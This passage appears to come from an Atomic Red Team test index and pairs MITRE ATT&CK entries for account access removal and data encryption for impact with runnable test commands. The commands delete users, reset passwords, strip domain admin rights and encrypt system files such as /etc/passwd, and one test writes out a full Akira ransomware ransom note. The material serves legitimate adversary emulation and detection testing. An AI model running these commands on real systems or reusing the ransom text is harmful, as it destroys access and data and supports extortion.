        Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:

        * Event ID 4723 - An attempt was made to change an account's password
        * Event ID 4724 - An attempt was made to reset an account's password
        * Event ID 4726 - A user account was deleted
        * Event ID 4740 - A user account was locked out

        Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Modification'
      - 'User Account: User Account Deletion'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0
      created: '2019-10-09T18:48:31.906Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1531
        external_id: T1531
      - source_name: CarbonBlack LockerGoga 2019
        description: CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat
          Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.
        url: https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/
      - source_name: Unit42 LockerGoga 2019
        description: Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga.
          Retrieved April 16, 2019.
        url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1531
    atomic_tests:
    - name: Change User Password - Windows
      auto_generated_guid: 1b99ef28-f83c-4ec5-8a08-1a56263a5bb2
      description: |
        Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account "AtomicAdministrator" with
        the password "HuHuHUHoHo283283".
      supported_platforms:
      - windows
      input_arguments:
        user_account:
          description: User account whose password will be changed.
          type: string
          default: AtomicAdministrator
        new_user_password:
          description: Password to use if user account must be created first
          type: string
          default: User2ChangePW!
        new_password:
          description: New password for the specified account.
          type: string
          default: HuHuHUHoHo283283@dJD
      executor:
        command: |
          net user #{user_account} #{new_user_password} /add
          net.exe user #{user_account} #{new_password}
        cleanup_command: 'net.exe user #{user_account} /delete >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Delete User - Windows
      auto_generated_guid: f21a1d7d-a62f-442a-8c3a-2440d43b19e5
      description: 'Deletes a user account to prevent access. Upon execution, run
        the command "net user" to verify that the new "AtomicUser" account was deleted.

        '
      supported_platforms:
      - windows
      input_arguments:
        new_user_password:
          description: Password to use if user account must be created first
          type: string
          default: User2DeletePW!
        user_account:
          description: User account to be deleted.
          type: string
          default: AtomicUser
      executor:
        command: |
          net user #{user_account} #{new_user_password} /add
          net.exe user #{user_account} /delete
        name: command_prompt
        elevation_required: true
    - name: Remove Account From Domain Admin Group
      auto_generated_guid: 43f71395-6c37-498e-ab17-897d814a0947
      description: 'This test will remove an account from the domain admins group

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Requires the Active Directory module for powershell to be installed.

          '
        prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"

          '
      input_arguments:
        super_user:
          description: Account used to run the execution command (must include domain).
          type: string
          default: domain\super_user
        super_pass:
          description: super_user account password.
          type: string
          default: password
        remove_user:
          description: Account to remove from domain admins.
          type: string
          default: remove_user
      executor:
        command: |
          $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord
          if((Get-ADUser #{remove_user} -Properties memberof).memberof -like "CN=Domain Admins*"){
            Remove-ADGroupMember -Identity "Domain Admins" -Members #{remove_user} -Credential $Credential -Confirm:$False
          } else{
              write-host "Error - Make sure #{remove_user} is in the domain admins group" -foregroundcolor Red
          }
        name: powershell
        elevation_required: false
    - name: Change User Password via passwd
      auto_generated_guid: 3c717bf3-2ecc-4d79-8ac8-0bfbf08fbce6
      description: 'This test changes the user password to hinder access to the account
        using passwd utility.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        user_account:
          description: User account whose password will be changed.
          type: string
          default: ARTUser
      executor:
        command: 'passwd #{user_account} #enter admin password > enter new password
          > confirm new password

          '
        name: sh
        elevation_required: true
    - name: Delete User via dscl utility
      auto_generated_guid: 4d938c43-2fe8-4d70-a5b3-5bf239aa7846
      description: 'This test deletes the user account using the dscl utility.

        '
      supported_platforms:
      - macos
      input_arguments:
        user_account:
          description: User account which will be deleted.
          type: string
          default: ARTUser
        user_password:
          description: User password.
          type: string
          default: ARTPassword
      executor:
        command: 'dscl . -delete /Users/#{user_account} #enter admin password

          '
        cleanup_command: |
          dscl . -create /Users/#{user_account} #enter admin password
          dscl . -create /Users/#{user_account} UserShell /bin/bash
          dscl . -create /Users/#{user_account} UniqueID 503
          dscl . -create /Users/#{user_account} NFSHomeDirectory /Users/#{user_account}
          dscl . -passwd /Users/#{user_account} #{user_password} #enter password for new user
        name: sh
        elevation_required: true
    - name: Delete User via sysadminctl utility
      auto_generated_guid: d3812c4e-30ee-466a-a0aa-07e355b561d6
      description: 'This test deletes the user account using the sysadminctl utility.

        '
      supported_platforms:
      - macos
      input_arguments:
        user_account:
          description: User account which will be deleted.
          type: string
          default: ARTUserAccount
        user_name:
          description: New user name.
          type: string
          default: ARTUser
        user_password:
          description: New user password.
          type: string
          default: ARTPassword
      executor:
        command: 'sysadminctl -deleteUser #{user_account} #enter admin password

          '
        cleanup_command: 'sysadminctl -addUser #{user_account} -fullName "#{user_name}"
          -password #{user_password}

          '
        name: sh
        elevation_required: true
    - name: Azure AD - Delete user via Azure AD PowerShell
      auto_generated_guid: 4f577511-dc1c-4045-bcb8-75d2457f01f4
      description: Deletes a user in Azure AD. Adversaries may interrupt availability
        of system and network resources by inhibiting access to accounts utilized
        by legitimate users. Accounts may be deleted, locked, or manipulated (excluding
        changed credentials) to remove access to accounts.
      supported_platforms:
      - azure-ad
      input_arguments:
        userprincipalname:
          description: User principal name (UPN) for the Azure user being deleted
          type: string
          default: atomicredteam@yourdomain.com
      dependency_executor_name: powershell
      dependencies:
      - description: Check if AzureAD PowerShell module is installed
        prereq_command: Get-InstalledModule -Name AzureAD
        get_prereq_command: echo "use the following to install AzureAD PowerShell
          module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery
          -Force"
      - description: Check if AzureAD PowerShell module is installed
        prereq_command: Update the input arguments so the userprincipalname value
          is accurate for your environment
        get_prereq_command: echo "Update the input arguments in the .yaml file so
          that the userprincipalname value is accurate for your environment"
      executor:
        command: |-
          Connect-AzureAD
          $userprincipalname = "#{userprincipalname}"
          Remove-AzureADUser -ObjectId $userprincipalname
        cleanup_command: N/A
        name: powershell
    - name: Azure AD - Delete user via Azure CLI
      auto_generated_guid: c955c1c7-3145-4a22-af2d-63eea0d967f0
      description: Deletes a user in Azure AD. Adversaries may interrupt availability
        of system and network resources by inhibiting access to accounts utilized
        by legitimate users. Accounts may be deleted, locked, or manipulated (excluding
        changed credentials) to remove access to accounts.
      supported_platforms:
      - azure-ad
      input_arguments:
        userprincipalname:
          description: User principal name (UPN) for the Azure user being deleted
          type: string
          default: atomicredteam@yourdomain.com
      dependency_executor_name: powershell
      dependencies:
      - description: Check if Azure CLI is installed and install manually
        prereq_command: az account list
        get_prereq_command: echo "use the following to install the Azure CLI manually
          https://aka.ms/installazurecliwindows"
      - description: Check if Azure CLI is installed and install via PowerShell
        prereq_command: az account list
        get_prereq_command: echo "use the following to install the Azure CLI $ProgressPreference
          = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows
          -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I
          AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi"
      - description: Update the userprincipalname to meet your requirements
        prereq_command: Update the input arguments so the userprincipalname value
          is accurate for your environment
        get_prereq_command: echo "Update the input arguments in the .yaml file so
          that the userprincipalname value is accurate for your environment"
      executor:
        command: |-
          az login
          $userprincipalname = "#{userprincipalname}"
          az ad user delete --id $userprincipalname
        cleanup_command: N/A
        name: powershell
  T1486:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      - Mayuresh Dani, Qualys
      - Harshal Tupsamudre, Qualys
      - Travis Smith, Qualys
      - ExtraHop
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0
      created: '2019-03-15T13:59:30.390Z'
      x_mitre_version: '1.4'
      external_references:
      - source_name: mitre-attack
        external_id: T1486
        url: https://attack.mitre.org/techniques/T1486
      - source_name: CarbonBlack Conti July 2020
        url: https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
        description: 'Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware.
          Retrieved February 17, 2021.'
      - source_name: FireEye WannaCry 2017
        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
          Malware Profile. Retrieved March 15, 2019.
      - source_name: Rhino S3 Ransomware Part 1
        url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
        description: 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved
          April 14, 2021.'
      - source_name: NHS Digital Egregor Nov 2020
        url: https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary
        description: NHS Digital. (2020, November 26). Egregor Ransomware The RaaS
          successor to Maze. Retrieved December 29, 2020.
      - source_name: US-CERT Ransomware 2016
        url: https://www.us-cert.gov/ncas/alerts/TA16-091A
        description: 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and
          Recent Variants. Retrieved March 15, 2019.'
      - source_name: US-CERT NotPetya 2017
        url: https://www.us-cert.gov/ncas/alerts/TA17-181A
        description: 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware.
          Retrieved March 15, 2019.'
      - source_name: US-CERT SamSam 2018
        url: https://www.us-cert.gov/ncas/alerts/AA18-337A
        description: 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware.
          Retrieved March 15, 2019.'
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may encrypt data on target systems or on large numbers
        of systems in a network to interrupt availability to system and network resources.
        They can attempt to render stored data inaccessible by encrypting files or
        data on local and remote drives and withholding access to a decryption key.
        This may be done in order to extract monetary compensation from a victim in
        exchange for decryption or a decryption key (ransomware) or to render data
        permanently inaccessible in cases where the key is not saved or transmitted.(Citation:
        US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT
        NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware,
        it is typical that common user files like Office documents, PDFs, images,
        videos, audio, text, and source code files will be encrypted (and often renamed
        and/or tagged with specific file markers). Adversaries may need to first employ
        other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222)
        or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in
        order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack
        Conti July 2020) In some cases, adversaries may encrypt critical system files,
        disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize
        impact on the target organization, malware designed for encrypting data may
        have worm-like features to propagate across a network by leveraging other
        attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),
        [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye
        WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also
        leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001),
        such as changing victim wallpapers, or otherwise intimidate victims by sending
        ransom notes or other messages to connected printers (known as \"print bombing\").(Citation:
        NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within
        compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware
        Part 1)"
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Encrypted for Impact
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.

        In some cases, monitoring for unusual kernel driver installation activity can aid in detection.

        In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Cloud Storage: Cloud Storage Modification'
      - 'Network Share: Network Share Access'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_impact_type:
      - Availability
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1486
    atomic_tests:
    - name: Encrypt files using gpg (FreeBSD/Linux)
      auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765
      description: 'Uses gpg to encrypt a file

        '
      supported_platforms:
      - linux
      input_arguments:
        pwd_for_encrypted_file:
          description: the password that you want for the encrypted file
          type: string
          default: passwd
        encrypted_file_path:
          description: path to the encrypted file
          type: path
          default: "/tmp/passwd.gpg"
        input_file_path:
          description: path to the file that you want to encrypt
          type: path
          default: "/etc/passwd"
        encryption_alg:
          description: encryption algorithm of the file
          type: string
          default: AES-256
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where gpg is located

          '
        prereq_command: 'which_gpg=`which gpg`

          '
        get_prereq_command: "(which pkg && pkg install -y gnupg)||(which yum && yum
          -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive
          apt-get install -y gpg)\n"
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd
          0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}

          '
        cleanup_command: 'rm #{encrypted_file_path}

          '
    - name: Encrypt files using 7z (FreeBSD/Linux)
      auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad
      description: 'Uses 7z to encrypt a file

        '
      supported_platforms:
      - linux
      input_arguments:
        pwd_for_encrypted_file:
          description: the password that you want for the encrypted file
          type: string
          default: passwd
        encrypted_file_path:
          description: path to the encrypted file
          type: path
          default: "/tmp/passwd.zip"
        input_file_path:
          description: path to the file that you want to encrypt
          type: path
          default: "/etc/passwd"
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where 7z is located

          '
        prereq_command: 'which_7z=`which 7z`

          '
        get_prereq_command: "(which pkg && pkg install -y 7-zip)\n"
      executor:
        name: sh
        elevation_required: false
        command: "$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}\n"
        cleanup_command: |
          $which_7z e #{encrypted_file_path}
          rm #{encrypted_file_path}
    - name: Encrypt files using ccrypt (FreeBSD/Linux)
      auto_generated_guid: '08cbf59f-85da-4369-a5f4-049cffd7709f'
      description: 'Attempts to encrypt data on target systems as root to simulate
        an inturruption authentication to target system. If root permissions are not
        available then attempts to encrypt data within user''s home directory.

        '
      supported_platforms:
      - linux
      input_arguments:
        cped_file_path:
          description: path where you want your copied file to be
          type: path
          default: "/tmp/passwd"
        root_input_file_path:
          description: path to the file that you want to be encrypted if you are root
            user
          type: path
          default: "/etc/passwd"
        user_input_file_path:
          description: path to file that you want to be encrypted if you are normal
            user
          type: path
          default: "~/.bash_history"
        impact_command:
          description: command to show impact of encryption
          type: string
          default: sudo su
      dependency_executor_name: sh
      dependencies:
      - description: 'Finds where ccencrypt and ccdecrypt is located and copies input
          file

          '
        prereq_command: |
          which_ccencrypt=`which ccencrypt`
          which_ccdecrypt=`which ccdecrypt`
          if [ $USER == "root" ]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi
        get_prereq_command: "(which pkg && pkg install -y ccript)||(which yum && yum
          -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive
          apt-get install -y ccrypt)\n"
      executor:
        name: sh
        elevation_required: false
        command: 'if [ $USER == "root" ]; then $which_ccencrypt #{root_input_file_path};
          file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt
          #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command};
          fi

          '
        cleanup_command: "if [ $USER == \"root\" ]; then mv #{cped_file_path} #{root_input_file_path};
          else cp #{cped_file_path} #{user_input_file_path}; fi \n"
    - name: Encrypt files using openssl (FreeBSD/Linux)
      auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1
      description: 'Uses openssl to encrypt a file

        '
      supported_platforms:
      - linux
      input_arguments:
        private_key_path:
          description: path to the private key
          type: path
          default: "/tmp/key.pem"
        public_key_path:
          description: path to the public key
          type: path
          default: "/tmp/pub.pem"
        encryption_bit_size:
          description: size of the bit of encryption
          type: integer
          default: 2048
        encrypted_file_path:
          description: path to the encrypted file
          type: path
          default: "/tmp/passwd.zip"
        input_file_path:
          description: path to the file that you want to encrypt
          type: path
          default: "/etc/passwd"
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where openssl is located

          '
        prereq_command: 'which_openssl=`which openssl`

          '
        get_prereq_command: ''
      executor:
        name: sh
        elevation_required: false
        command: |
          $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
          $which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
          $which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}
        cleanup_command: |
          $which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
          rm #{encrypted_file_path}
    - name: PureLocker Ransom Note
      auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528
      description: "building the IOC (YOUR_FILES.txt) for the PureLocker ransomware
        \nhttps://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/\n"
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: 'echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt

          '
        cleanup_command: 'del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1

          '
    - name: Encrypt files using 7z utility - macOS
      auto_generated_guid: 645f0f5a-ef09-48d8-b9bc-f0e24c642d72
      description: 'This test encrypts the file(s) using the 7z utility

        '
      supported_platforms:
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if 7z command exists on the machine

          '
        prereq_command: 'which 7z

          '
        get_prereq_command: |
          echo Installing 7z, using brew
          /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
          brew install p7zip
      input_arguments:
        file_password:
          description: Password to be provided for archiving the file
          type: string
          default: ARTPass
        encrypted_file_name:
          description: Name of the archive to be created
          type: string
          default: ARTArchive.7z
        input_file_path:
          description: Path to the file that you want to encrypt
          type: path
          default: "~/test.txt"
      executor:
        command: '7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}

          '
        cleanup_command: 'rm #{encrypted_file_name}

          '
        name: sh
        elevation_required: false
    - name: Encrypt files using openssl utility - macOS
      auto_generated_guid: 1a01f6b8-b1e8-418e-bbe3-78a6f822759e
      description: 'This test encrypts the file(s) using the openssl utility

        '
      supported_platforms:
      - macos
      input_arguments:
        encryption_option:
          description: Specifiy the required encryption option
          type: string
          default: "-pbkdf2"
        input_file_path:
          description: Path to the file that you want to encrypt
          type: path
          default: "~/test.txt"
        output_file_name:
          description: Path to the file that you want to encrypt
          type: string
          default: ARTFile
      executor:
        command: 'openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}

          '
        cleanup_command: 'rm #{output_file_name}

          '
        name: sh
        elevation_required: false
    - name: Data Encrypted with GPG4Win
      auto_generated_guid: 4541e2c2-33c8-44b1-be79-9161440f1718
      description: Gpg4win is a Windows tool (also called Kleopatra which is the preferred
        certificate manager) that uses email and file encryption packages for symmetric
        encryption. It is used by attackers to encrypt disks. User will need to add
        pass phrase to encrypt file as automation is not allowed under newer versions.
      supported_platforms:
      - windows
      input_arguments:
        GPG_Exe_Location:
          description: Path of the GPG program
          type: path
          default: C:\Program Files (x86)\GnuPG\bin\gpg.exe
        File_to_Encrypt_Location:
          description: Path of File
          type: path
          default: "$env:temp\\test.txt"
      dependencies:
      - description: 'GPG must exist at (#{GPG_Exe_Location})

          '
        prereq_command: 'if (test-path ''#{GPG_Exe_Location}''){exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://files.gpg4win.org/gpg4win-4.1.0.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe"
          cmd /c "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" /S
      executor:
        name: powershell
        elevation_required: false
        command: 'cmd /c ''#{GPG_Exe_Location}'' -c ''#{File_to_Encrypt_Location}''

          '
        cleanup_command: 'remove-item ''#{File_to_Encrypt_Location}.gpg'' -force -erroraction
          silentlycontinue | out-null

          '
    - name: Data Encrypt Using DiskCryptor
      auto_generated_guid: 44b68e11-9da2-4d45-a0d9-893dabd60f30
      description: 'DiskCryptor, an open source encryption utility, can be exploited
        by adversaries for encrypting all disk partitions, including system partitions.
        This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/.
        The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor.
        During the installation process, running dcrypt.exe starts the encryption
        console. It''s important to note that a system reboot is necessary as part
        of the installation.

        '
      supported_platforms:
      - windows
      input_arguments:
        dcrypt_exe:
          description: The dcrypt.exe executable from dcrypt_setup.exe
          type: path
          default: dcrypt.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'dcrypt_setup will be installed at specified location (#{dcrypt_exe})

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading DiskCryptor installer
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1.1.846.118/dcrypt_setup_1.1.846.118.exe" -OutFile      "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe"
          Write-Host Install DiskCryptor
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" -Wait -ArgumentList "/s"
      executor:
        name: command_prompt
        elevation_required: true
        command: '""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"

          '
    - name: Akira Ransomware drop Files with .akira Extension and Ransomnote
      auto_generated_guid: ab3f793f-2dcc-4da5-9c71-34988307263f
      description: 'Dropping 100 files with random content and .akira File Extension
        and the Akira Ransomnote to c:\

        '
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: |
          1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) }
          echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: " >> $env:Userprofile\Desktop\akira_readme.txt
          echo "1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won't be able to help.  " >> $env:Userprofile\Desktop\akira_readme.txt
          echo "3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data." >> $env:Userprofile\Desktop\akira_readme.txt
          echo "4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones." >> $env:Userprofile\Desktop\akira_readme.txt
          echo "Then all of this will be published in our blog -" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/." >> $env:Userprofile\Desktop\akira_readme.txt
          echo "2. Paste this link — https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira_readme.txt
          echo "" >> $env:Userprofile\Desktop\akira_readme.txt
          echo "Keep in mind that the faster you will get in touch, the less damage we cause" >> $env:Userprofile\Desktop\akira_readme.txt
        cleanup_command: "del $env:Userprofile\\Desktop\\akira_readme.txt \ndel c:\\test.*.akira\n"
  T1499:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Endpoint Denial of Service
      description: |
        Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

        An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

        To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

        Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

        Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

        In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

        For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: |-
